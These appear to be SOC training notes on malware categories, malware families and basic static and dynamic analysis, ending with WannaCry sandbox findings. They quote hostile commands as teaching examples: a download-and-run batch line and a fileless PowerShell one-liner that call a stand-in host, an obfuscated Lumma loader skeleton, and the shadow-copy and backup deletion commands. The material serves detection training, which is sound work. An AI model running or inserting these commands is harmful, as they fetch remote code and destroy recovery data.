all articles / 2026-11-02

11. Malware Concepts

Introduction to Malware for SOC — Notes

Malware = software or code built to damage systems, steal information, or give unauthorised access. Business impact: financial loss · stolen data · disrupted services · reputational damage.

Why SOC cares about classification: the category decides the response: isolate the machine? reset credentials? investigate data theft? Wrong label = wrong playbook.


1. Malware Categories at a Glance

CategoryPurposeTypical behaviourExample
AdwareShow unwanted adsPop-ups, browser hijackingFireball
SpywareSecretly collect infoTracks browsing, records keystrokes, captures dataHermit, Pegasus
RansomwareExtort moneyEncrypts data, drops ransom noteWannaCry, Akira
WiperDestroy data/systemsOverwrites or deletes files permanentlyPathWiper, Shamoon
C2 / RATRemote control by attackerConnects to a server, receives commandsEmotet, QakBot
Data stealerSteal sensitive infoExfiltrates files, credentials, documentsLumma Stealer, Agent Tesla
KeyloggerRecord keystrokesCaptures everything typedZeus, RedLine
CryptominerMine crypto on your hardwareHigh CPU, slow systems, network trafficCoinhive

Telling look-alikes apart

PairThe difference
Ransomware vs WiperRansomware wants payment and (in theory) lets you recover. A wiper wants destruction, with no way back. Some wipers pose as ransomware to mislead.
Spyware vs Data stealerSpyware watches over time (messages, mic, location). A stealer grabs and leaves (passwords, cookies, wallets).
Keylogger vs StealerA keylogger records input. A stealer takes stored data. Many modern stealers do both.
C2/RAT vs everything elseC2 is the remote-control channel. Other payloads often arrive through it.

Key reality: real families span several categories. QakBot started as a banking trojan, became a RAT, then a loader for ransomware. Classify by what it's doing now.


2. Spotting Each Type in an Organisation

CategoryWhat users/SOC noticeFirst SOC priority
AdwarePop-ups every few minutes even with no site openRemove program, check how it got installed
SpywarePersonal emails accessed by someone elseForensics on workstation, find the exfil destination
RansomwareRansom notes on many computers; often traced to an email attachmentIsolate immediately, stop spread
WiperServers crash; files overwritten with random dataIsolate, restore from offline backups
C2Endpoint contacts unfamiliar domains at odd hoursIsolate host, block domain, hunt for other infected hosts
Data stealerSensitive documents appear onlineScope what left, where to, from which machines
KeyloggerUnauthorised bank transfers; logger on the accountant's PCReset all typed credentials, review transactions
CryptominerSlow desktops, fans constantly running, high CPURemove, and ask how did it get in? Same door works for worse malware

Response triage:

  • Destructive / spreading (ransomware, wiper, worm) → contain first, investigate second.
  • Theft (stealer, keylogger, spyware) → assume credentials are burned → reset passwords, revoke sessions/tokens.
  • Control (C2/RAT) → there's a human behind it, so find every infected host before cleanup tips them off.

3. Malware Families & Case Studies

Malware family = programs sharing the same origin or codebase and behaving similarly. Grouping by family lets teams reuse known detections, IOCs, and response steps.

FamilyCategoryHow it spreadsWhat it doesMITRE tactics
PegasusSpywareCrafted message or exploit, installs silently (often zero-click)Reads texts, emails, location; records mic and camera. Victims: journalists, politicians, executivesTA0009 Collection, TA0010 Exfiltration
AkiraRansomwarePhishing, stolen credentials, remote access software (VPN/RDP)Spreads, encrypts key files, demands crypto. Double extortion: threatens to leak dataTA0040 Impact, TA0011 C2
ShamoonWiperTargeted (Middle East energy, famously Saudi Aramco)Overwrote files with junk; networks offline for weeks. No ransomTA0040 Impact
Agent TeslaData stealerPhishing attachmentsKeystrokes, screenshots, browser + email client credentials → sent to C2TA0010 Exfiltration
RedLineStealer + keyloggerPhishing, malicious sitesKeystrokes, browser cookies, crypto wallets → exfiltratedTA0006 Credential Access, TA0010 Exfiltration
QakBot (QBot)C2 / RAT / loaderPhishing attachments or linksConnects to C2 → lateral movement, data theft, delivers Black Basta ransomwareTA0011 C2, TA0002 Execution, TA0006 Credential Access

Akira ransom note — what it tells an analyst

  • Filename akira_readme.txt → a fixed IOC to search for across endpoints.
  • "Business-like" tone: offers a "security report," promises to be "negotiable."
  • Contact via Tor browser + a .onion chat + victim-specific login code.
  • Threatens to sell personal data, trade secrets, databases, source code if unpaid → data was exfiltrated before encryption. Treat as a data breach, not just an outage.

Stealer logs — where stolen data ends up

Underground forums sell/leak "stealer logs" in bulk, e.g. 355,472 lines in URL:LOGIN:PASS format, with a free sample and a paid set of 820K+.

  • One infected PC can leak credentials for every site saved in the browser, including corporate SSO, VPN, cloud consoles.
  • Stolen session cookies can bypass MFA.
  • That's why stealer infections are so dangerous: they feed initial access for later attacks (including ransomware).

4. Binary vs Script-Based Malware

Binary malwareScript-based malware
FormCompiled: .exe, .dllInterpreted: .js, .vbs, .bat, .ps1
NeedsCompatible OS/architectureAn interpreter (usually built-in)
StrengthsStable, complex payloads; works where security tools are weak or outdatedEasy to modify, obfuscate, run in memory
DeliveryAttachments (invoice.pdf.exe), downloads, USB, dropped by other malwareAttachments, Office macros (report.docm), malicious websites
Identify byHash, embedded strings/byte patternsBehaviour, decoded content

Binary tricks

  • Double extension: invoice.pdf.exe. Windows hides known extensions by default, so the user sees invoice.pdf.
  • Fake icons: PDF or Word icon on an executable.

Hashes (checksums)

md5sum file / sha256sum file → fingerprint of the exact bytes.

  • Renaming the file or changing the extension → same hash → still identified.
  • Changing even one byte (recompiling, repacking, polymorphic malware) → completely different hash. So a hash identifies one sample, not a whole family.
  • Prefer SHA-256. MD5 is still used for quick lookups but is cryptographically broken (collisions possible).
  • For family-level detection, AV/EDR use strings and byte sequences (e.g. YARA rules), not hashes.

5. Script-Based Malware: Warning Signs

A script is suspicious when it:

  1. Downloads or runs files from the internet
  2. Changes system settings or disables security tools
  3. Runs unusual commands, especially encoded/obfuscated ones
  4. Launches other programs (PowerShell, CMD) unexpectedly

Example 1 — Batch downloader (drop to disk)

bat
@echo off
powershell -Command "Invoke-WebRequest http://malicious.site/payload.exe -OutFile C:\Users\Public\payload.exe" start C:\Users\Public\payload.exe
  • @echo off → hides commands from view
  • Invoke-WebRequest … -OutFile → download
  • C:\Users\Public\ → world-writable folder (Windows equivalent of /tmp)
  • start → execute the payload
  • Note: as printed, start sits outside the PowerShell string without a separator (; or &), so it likely wouldn't run as written. The pattern (download → save → execute) is what matters.

Example 2 — PowerShell fileless one-liner

powershell
powershell -nop -w hidden -c "IEX (New-Object Net.WebClient).DownloadString('http://malicious.site/payload.ps1')"
PartMeaningWhy attackers use it
-nopNoProfileSkip profile scripts, faster and cleaner
-w hiddenWindowStyle HiddenNo window for the user to see
-cCommandRun the inline string
DownloadString(…)Fetch script as text into memoryNothing written to disk
IEXInvoke-ExpressionExecute that text

IEX + DownloadString = fileless execution. Top-tier detection signal.


6. Real Sample — Lumma Stealer Loader (Aug 2025)

Lumma Stealer: popular stealer written in C, sold as MaaS (Malware-as-a-Service): criminals rent it rather than build it.

Structure of the obfuscated PowerShell

powershell
function Swvldsp2195 {                                        # random function name
    $var1 = "var" + ([guid]::NewGuid().ToString('N').Substring(0, 11))   # random var names
    …
    $qble51 = '$' + $var1 + ' = "TVqQAAMAAAAEAAAA//8AALgAAAA…"'           # huge base64 blob
    …
      '$' + $var2 + ' = [Convert]::FromBase64String($' + $var1 + ');' +   # decode
      '$' + $var3 + ' = [System.Reflection.Assembly]::Load($' + $var2 + ');' +  # load in memory
      '$' + $var4 + ' = $' + $var3 + '.EntryPoint;' +                     # find Main()
      '$' + $var4 + '.Invoke($null, @());'                                # run it
    Invoke-Expression $qble51                                  # execute the built code
}
Swvldsp2195

Reading it step by step

  1. Random names (Swvldsp2195, qble51) and variable names generated from new GUIDs on every run → text differs each execution → defeats simple string signatures.
  2. Huge base64 blob → hides the real payload.
  3. FromBase64String → decode the blob into bytes.
  4. Reflection.Assembly::Load → load those bytes as a .NET program directly in memory.
  5. .EntryPoint.Invoke → run its main function.
  6. Invoke-Expression → executes the whole constructed script.

Result: the payload never touches disk → file-based AV may never scan it.

Analyst tricks hidden in this sample

  • TVqQAAMAAAAEAAAA at the start of a base64 blob = base64 of the MZ header → the blob is a Windows executable (PE file). Memorise TVqQ / TVoA: spotting it instantly tells you "there's an .exe hidden in here."
  • It's base64 decoding, not decryption. Base64 is encoding with no key; anyone can reverse it.
  • Assembly.Load only accepts .NET assemblies, so the embedded file is a .NET loader stage, even though Lumma's core is written in C.

Detection signals for this class of loader

SignalWhy
FromBase64String + Reflection.Assembly::LoadReflective in-memory loading
Invoke-Expression / IEXExecutes dynamically built code
Very long base64 strings in scriptsEmbedded payload
Base64 starting with TVqQEmbedded Windows executable
Random-looking identifiersObfuscation
PowerShell launched by Office, browser, or script hostUnusual parent process

Defensive note: PowerShell Script Block Logging (Event ID 4104) records the de-obfuscated code as it runs, the Windows counterpart to auditd for this problem.


7. MITRE Tactics Mentioned

IDTacticSeen in
TA0002ExecutionQakBot
TA0006Credential AccessRedLine, QakBot
TA0009CollectionPegasus
TA0010ExfiltrationPegasus, Agent Tesla, RedLine
TA0011Command and ControlAkira, QakBot
TA0040ImpactAkira, Shamoon

8. One-Page Summary

  1. Classify malware by purpose → it determines the response.
  2. 8 categories: adware, spyware, ransomware, wiper, C2/RAT, stealer, keylogger, cryptominer.
  3. Ransomware = pay to recover. Wiper = no recovery. Modern ransomware also steals first (double extortion).
  4. Real families cross categories (QakBot: banker → RAT → ransomware loader).
  5. Stealer infections → credentials sold as stealer logs (URL:LOGIN:PASS) → future breaches. Reset everything.
  6. Binary malware: .exe/.dll, double extensions, identified by hash (exact sample only; prefer SHA-256).
  7. Script malware: .ps1/.js/.vbs/.bat/macros, easy to obfuscate, often fileless.
  8. Red flags: download + execute, disabling security, encoded content, scripts spawning PowerShell/CMD.
  9. -nop -w hidden + IEX + DownloadString = classic fileless PowerShell.
  10. FromBase64String → Assembly::Load → Invoke = in-memory .NET loading. TVqQ in base64 = hidden .exe.

Intro to Malware Analysis for SOC — Notes

Goal: when a suspicious file or traffic shows up, reach an initial verdict (malicious or not, and roughly what it does) safely and methodically.


1. Who Analyses Malware, and Why

TeamAnalyses malware to…
Security Operations (SOC)Write detections for their network
Incident ResponseDetermine damage done, remediate and revert it
Threat HuntingExtract IOCs to hunt for the malware across the network
Vendor malware researchersAdd detections to security products
OS vendor threat research (Microsoft, Google)Find exploited vulnerabilities, add OS/app security features

Typical inputs: a PE file (Portable Executable, .exe/.dll, the most common) · a malicious document · a pcap (network capture).


2. Safety Rules (non-negotiable)

Malware is a loaded weapon. Before any analysis:

  1. Dedicated machine only. Never analyse on a box with any other purpose.
  2. Store samples in password-protected archives (zip/rar) when not analysing or when moving them. Prevents accidental double-click detonation and AV quarantine. Community convention password: infected.
  3. Extract only inside the isolated lab, and only when analysing.
  4. Use a VM with a clean snapshot.
  5. Cut or monitor all internet connections.
  6. Revert to the clean snapshot after every session so leftovers from one sample can't contaminate the next.
  7. Shared folders are a hazard. A host↔VM shared directory that stays mounted while malware runs can be encrypted or infected. Disconnect it before detonation.

Static analysis is still done in the lab. You aren't running the file, but one mis-click or a vulnerable parsing tool can execute it.

REMnux (Reverse Engineering Malware Linux): Linux distro preloaded with analysis tools. A Windows PE can't run natively on Linux, which adds a safety layer for static work.


3. The Three Levels of Analysis

StaticDynamicAdvanced
Runs the malware?NoYes, in a controlled VM/sandboxBoth
ExaminesStrings, hashes, PE header, sections, imports, codeProcesses, files, registry, network activityAssembly instructions, memory, CPU state
Toolsfile, strings, hash tools, pecheck, VirusTotalSandboxes, Procmon, Process Explorer, Regshot, WiresharkDisassembler (static: binary → assembly) · Debugger (dynamic: pause/step through running code)
Defeated byPacking, obfuscationSandbox/VM detection, long sleepsAnti-debugging, heavy obfuscation

Malware's dilemma: it can hide while sitting on disk, but to do its job it must run, and running code is observable. That's why dynamic analysis beats obfuscation.

Dynamic analysis advantage: in a lab, you control the noise (no real user, minimal services), so nearly everything you observe is the malware.

Malware's counter-move: detect the lab and take a benign code path → the sandbox reports "clean."

Order of work: basic static → basic dynamic → advanced (only if needed).


4. Basic Static Analysis

Purpose: size up the sample: what is it, what might it do, is it packed, how much effort will it take?

4a. True file type — file

bash
file wannacry
# wannacry: PE32 executable (GUI) Intel 80386, for MS Windows
OutputMeaning
PE3232-bit Windows executable (PE32+ = 64-bit)
(GUI)Graphical program (vs console)
Intel 80386Built for 32-bit x86 (the 386 started the x86 32-bit line)

file reads magic bytes (PE starts with MZ = 0x5A4D), so it ignores misleading extensions like invoice.pdf.

4b. Readable text — strings

bash
strings wannacry             # dump printable strings
strings wannacry > str       # save to file for vim/grep
strings wannacry | more      # page through (space = next page); `less` also works

What to look for in the WannaCry output:

StringTells you
!This program cannot be run in DOS mode.DOS stub, present in every PE file
RichRich header → built with Microsoft Visual Studio
.text .rdata .data .rsrcSection names
CreateProcessA, TerminateProcess, LoadLibraryA, GetProcAddress…Windows API calls → hints at behaviour
inflate 1.1.3 Copyright 1995-1998 Mark Adlerzlib compression library is inside
unzip 0.15 Copyright 1998 Gilles Vollantunzip code is inside → sample likely carries and unpacks a zip archive
Random junk (49t$, TVWj)Bytes that happen to be printable. Ignore

Example: seeing URLDownloadToFile → it probably downloads a file and saves it to disk.

Tip: also try strings -el file for 16-bit "wide" (Unicode) strings, which Windows uses heavily and plain strings misses.

4c. Hashes — the file's fingerprint

bash
md5sum wannacry      # 84c82835a5d21bbcf75a61706d8ab549
sha1sum wannacry
sha256sum wannacry   # ed01ebfbc9eb5bbea545af4d01bf5f1071661840480439c6e5babe8e080e41aa
  • Fixed-size ID for an exact file, shareable and searchable.
  • Change one bit → completely different hash. Trivial for attackers to alter, so a hash identifies one sample, not a family.
  • Commonly said without "sum": "md5," "sha256."
  • Prefer SHA-256 for sharing (MD5/SHA-1 have known collisions).

Fuzzy/structural hashes VirusTotal shows (catch near-identical variants):

HashGroups samples by…
ImphashSame import table
SSDEEP / TLSHOverall content similarity (fuzzy)
AuthentihashPE content excluding signature
Rich PE header hashSame build environment

4d. VirusTotal

Search the HASH. Don't upload the file by default. Uploads are shared with the security community, including paying subscribers who can download your sample. Risks: leaking sensitive internal documents, and tipping off attackers that their custom malware has been found.

TabShows
DetectionVerdicts from 60+ AV vendors (WannaCry: 61/66 + 5 sandboxes) and each vendor's name for it
DetailsAll hashes, file type, size, compile time, submission history (first seen, first/last submission)
BehaviorSandbox results: IP traffic, domains, URLs in memory
RelationsContacted domains and IPs, with their own detection scores
CommunityAnalyst comments and context

Reading tips:

  • Different vendor names for the same thing (WannaCryptor, WanaCry, Ransom.JB) are normal. Look for consensus.
  • Tags like self-delete, detect-debug-environment, long-sleeps, via-tor summarise behaviour quickly.
  • Relations noise: google.com, firefox.settings.services.mozilla.com, *.in-addr.arpa, Azure CDNs are sandbox background traffic, not IOCs. Prioritise contacts with detections (e.g. 131.188.40.189 5/90).
  • Compile timestamps can be faked. WannaCry shows a creation time of 2010-11-20, but it spread in 2017. Treat compile time as a hint, not a fact.

4e. The PE header

Metadata describing how Windows should load the file. Viewers: PE Tree (GUI), pecheck (CLI on REMnux), also pestudio/PE-bear.

Imports & exports

  • Imports = functions borrowed from Windows DLLs instead of re-implemented. Best static clue to behaviour.
  • Exports = functions offered to other programs. Normal for DLLs; many exports in an .exe is unusual.
  • API names are mostly self-explanatory; verify unfamiliar ones in Microsoft docs.
ImportLikely capability
InternetOpen, InternetOpenUrlInternet communication
URLDownloadToFileDownload a file to disk
RegQueryValue, RegSetValueEx, RegCreateKeyRead/write registry (often persistence)
CreateService, OpenSCManager, StartServiceCreate/run Windows services (persistence)
CryptAcquireContext, CryptEncryptCryptography → ransomware suspicion
CreateProcess, TerminateProcessLaunch/kill processes
LoadLibrary + GetProcAddressLoad APIs at runtime (hides real imports, common in packed malware)

WannaCry imports from ADVAPI32.dll: CreateServiceA, OpenServiceA, StartServiceA, OpenSCManagerA, registry functions, CryptReleaseContext → services + registry + crypto = consistent with ransomware that persists.

Note: TimeDateStamp: 0x0 in an import descriptor is normal for regular (unbound) imports. It's not the compile time and not suspicious.

Sections

SectionContainsNormal permissions
.textExecutable codeRead + Execute
.rdataRead-only data, often the import infoRead
.dataGlobal variablesRead + Write
.rsrcResources: icons, images, dialogs, embedded filesRead

Names vary by compiler/packer. Unusual names (.adata, UPX0, blank) are a clue.

Entropy (randomness, 0.0–8.0)

RangeTypical content
~0Empty/zeroed (e.g. space reserved for unpacking)
~4–6.5Normal code and data
> ~7.2Compressed or encrypted → packed code, or an embedded archive

WannaCry: overall 7.995, .rsrc 7.9998, .text 6.40, .data 4.46. → Code looks normal, but the resource section is near-maximum random: it holds an embedded compressed archive (matching the zlib/unzip strings). High entropy means "compressed/encrypted," not automatically "packed."


5. Basic Dynamic Analysis — Sandboxes

Sandbox (military term: a sand model of terrain for rehearsals) = isolated environment mimicking the malware's target, where you detonate it and observe.

What a good sandbox needs

ComponentExamples / purpose
Lab machine mimicking the targetSame OS/apps the malware expects
Snapshots + revertClean slate each run
OS monitoringProcmon (file/registry/process events), Process Explorer (process tree), Regshot (registry before/after diff)
Network monitoringWireshark, tcpdump
Controlled networkDummy DNS + web server so malware "reaches" its server inside the lab (e.g. INetSim, FakeNet-NG)
Safe transfer in/outMoving samples and logs without exposing the host. Beware shared folders

Sandbox options

SandboxStatus / notes
CuckooBest-known open-source (GSoC 2010), huge community signature set. Archived, no Python 3 → obsolete
CAPECuckoo successor: adds debugging + memory dumping to unpack packed malware. Python 3, actively developed, community online version
Online: Any.run · Hybrid Analysis · Intezer · online CuckooNo setup, but search the hash first. Don't upload blindly (same leak risks as VirusTotal)

6. Reading a Sandbox Report — WannaCry on Hybrid Analysis

Searched by MD5 → already submitted many times → opened the Windows 7 64-bit run.

Verdict: malicious · threat score 100/100 · AV detection 95% · tags #wannacry #ransomware #Worm. (Submitted filename: owo_im_not_ransomware_xd.exe: filenames prove nothing.)

Risk assessment highlights

CategoryBehaviour
RansomwareDeletes volume shadow copies
PersistenceGrants permissions via icacls; suppresses boot failures; writes into a remote process
Remote accessReads Terminal Service (RDP) keys
FingerprintQueries kernel debugger info (anti-analysis)

MITRE mapping (as shown)

  • T1047 WMI: runs WMI/WMIC queries
  • T1044 File System Permissions Weakness: modifies ACLs (icacls)
  • T1179 Hooking: installs hooks in running processes
  • These two IDs are outdated in ATT&CK; today they live under T1574.010 and T1056.004. Sandbox mappings can lag behind the framework.

Process tree — the most valuable part

text
owo_im_not_ransomware_xd.exe
├─ attrib +h .                                   ← hide its folder
├─ icacls . /grant Everyone:F /T /C /Q           ← give Everyone full control
├─ taskdl.exe (×4)                               ← helper binaries
├─ cmd.exe /c <random>.bat
│   └─ cscript.exe //nologo m.vbs                ← VBScript creates a shortcut
├─ attrib +h +s %SAMPLEDIR%\$RECYCLE             ← hidden system folder
├─ @WanaDecryptor@.exe co
│   └─ taskhsvc.exe TaskData\Tor\taskhsvc.exe    ← Tor client (C2)
├─ cmd.exe /c start /b @WanaDecryptor@.exe vs
│   └─ @WanaDecryptor@.exe vs
│       └─ cmd.exe /c vssadmin delete shadows /all /quiet &
│                     wmic shadowcopy delete &
│                     bcdedit /set {default} bootstatuspolicy ignoreallfailures &
│                     bcdedit /set {default} recoveryenabled no &
│                     wbadmin delete catalog -quiet
└─ taskse.exe C:\@WanaDecryptor@.exe

The recovery-killer chain (MITRE T1490 Inhibit System Recovery), a near-certain ransomware signature:

CommandDestroys
vssadmin delete shadows /all /quietAll Volume Shadow Copies
wmic shadowcopy deleteSame, via a second method (redundancy)
bcdedit … bootstatuspolicy ignoreallfailuresSuppresses boot-failure prompts
bcdedit … recoveryenabled noDisables Windows Recovery
wbadmin delete catalog -quietWindows Backup catalog

Seeing any of these from a non-admin process = treat as active ransomware.

Network analysis

  • DNS: "No relevant DNS requests."
  • Contacted hosts: many IPs worldwide (DK, NL, DE, FR, US) on TCP 443 and 9001, all from taskhsvc.exe (PID 3356).
  • Port 9001 is Tor's default relay (ORPort); .onion addresses appeared in memory.
  • Why no DNS: Tor connects straight to relay IPs and resolves .onion inside the Tor network, so classic DNS monitoring sees nothing. Watch for traffic to known Tor relay IPs instead.

Extracted strings & files

  • Strings grouped per process/file (3,589 total), searchable, downloadable.
  • Recovered batch content:
    text
    echo SET ow = WScript.CreateObject("WScript.Shell")> m.vbs
    echo SET om = ow.CreateShortcut("C:\@WanaDecryptor@.lnk")>> m.vbs
    echo om.TargetPath = "C:\@WanaDecryptor@.exe">> m.vbs
    echo om.Save>> m.vbs
    cscript.exe //nologo m.vbs
    del m.vbs
    → builds a VBScript that creates a shortcut to the decryptor/ransom tool, runs it, then deletes the script to clean up.
  • 2,000 extracted files, including Tor libraries (libevent, libeay32), tor.exe, screenshots, network.pcap.
  • Community comments at the end add context.

7. Anti-Analysis Techniques

7a. Packing & obfuscation (vs static analysis)

A packer compresses, encrypts, or obfuscates the real program. At runtime, a small stub unpacks the original code into memory and runs it.

Effect: strings shows garbage, imports reveal almost nothing.

Case: zmsuz3pinwl

bash
strings zmsuz3pinwl     # DOS stub, RichH, .rsrc .data .adata, then junk (dApB, Qtq5…)
pecheck zmsuz3pinwl
IndicatorObservedWhy it means "packed"
Overall entropy7.978Compressed/encrypted content
Section entropy7.99 / 7.96 / 7.55, .data 7.87Data shouldn't be this random
Blank section namesSeveralPacker-generated sections
Entropy 0.0 sections (.adata)Empty placeholdersSpace reserved to unpack into
No .text sectionMissingReal code isn't there yet
WRITE + EXECUTE on sections 0–6IMAGE_SCN_MEM_WRITE + IMAGE_SCN_MEM_EXECUTEStub must write decoded code then execute it. Normal programs keep code read+execute only
ImportsFew, "typical of packed executables"Usually just LoadLibrary/GetProcAddress to rebuild imports later
Unusual section name.adataAssociated with ASPack/ASProtect-style packers

Packed checklist: high entropy · W+X sections · tiny import table · odd/blank section names · garbage strings · no .text.

Next step: unpack first (advanced topic), or let a sandbox like CAPE dump the unpacked code from memory.

7b. Sandbox evasion (vs dynamic analysis)

TechniqueHow it worksWhy it beats sandboxes
Long sleep callsDo nothing for minutes or hoursSandboxes run for a limited time, then report "nothing happened"
User activity detectionWait for mouse movement/keystrokes; advanced samples spot robotic mouse patternsAutomated sandboxes have no real user
Footprinting user activityCheck Office recent files, browser history, etc.A pristine machine with no history looks like a lab → quit
VM detectionLook for VMware/VirtualBox drivers, tools, registry keys, MAC prefixesVM present → assume sandbox → terminate or act benign

Also common: checking CPU core count, RAM/disk size, uptime, and debugger presence (WannaCry queried kernel debugger info).

Defender takeaway: a clean sandbox result is not proof of safety. Look at long-sleeps / detect-debug-environment tags, and lab realism (fake user files, history, hidden VM artefacts) matters.


8. Workflow Cheat Sheet

text
1. Handle safely      → password-protected archive, isolated VM, snapshot taken
2. Identify           → file <sample>
3. Fingerprint        → sha256sum <sample>
4. Reputation         → search hash on VirusTotal / Hybrid Analysis (don't upload)
5. Strings            → strings <sample> | less   (APIs, URLs, IPs, library names)
6. PE header          → pecheck <sample>  (imports, sections, entropy, packer signs)
7. Packed?            → yes → unpack / CAPE memory dump
8. Dynamic            → sandbox: process tree, file/registry changes, network
9. Verdict + IOCs     → hashes, IPs, domains, filenames, commands → detections & hunting
10. Revert VM

9. One-Page Summary

  1. Analysis serves detection, response, hunting, product, and OS security.
  2. Safety first: isolated VM, snapshots, archived samples (infected), no live shared folders, revert after.
  3. Static = no execution, beaten by packing. Dynamic = run in a sandbox, beaten by evasion. Advanced = disassembler + debugger.
  4. file → real type · strings → APIs/URLs/libraries · hashes → identity · pecheck → structure.
  5. Search hashes, don't upload. Uploads leak data and alert attackers.
  6. Imports reveal intent: services + registry + crypto ⇒ ransomware-like.
  7. Entropy > ~7.2 ⇒ compressed/encrypted (packed or embedded archive).
  8. Packed signs: no .text, W+X sections, few imports, junk strings, odd section names.
  9. Sandbox process trees are gold: vssadmin delete shadows / wbadmin delete catalog / bcdedit recoveryenabled no = ransomware.
  10. Tor C2 = port 9001/443 to scattered relay IPs, no DNS, .onion strings.
  11. Evasion: long sleeps, user-activity checks, footprinting, VM detection → "clean" ≠ safe.
  12. Compile timestamps and filenames can lie (owo_im_not_ransomware_xd.exe).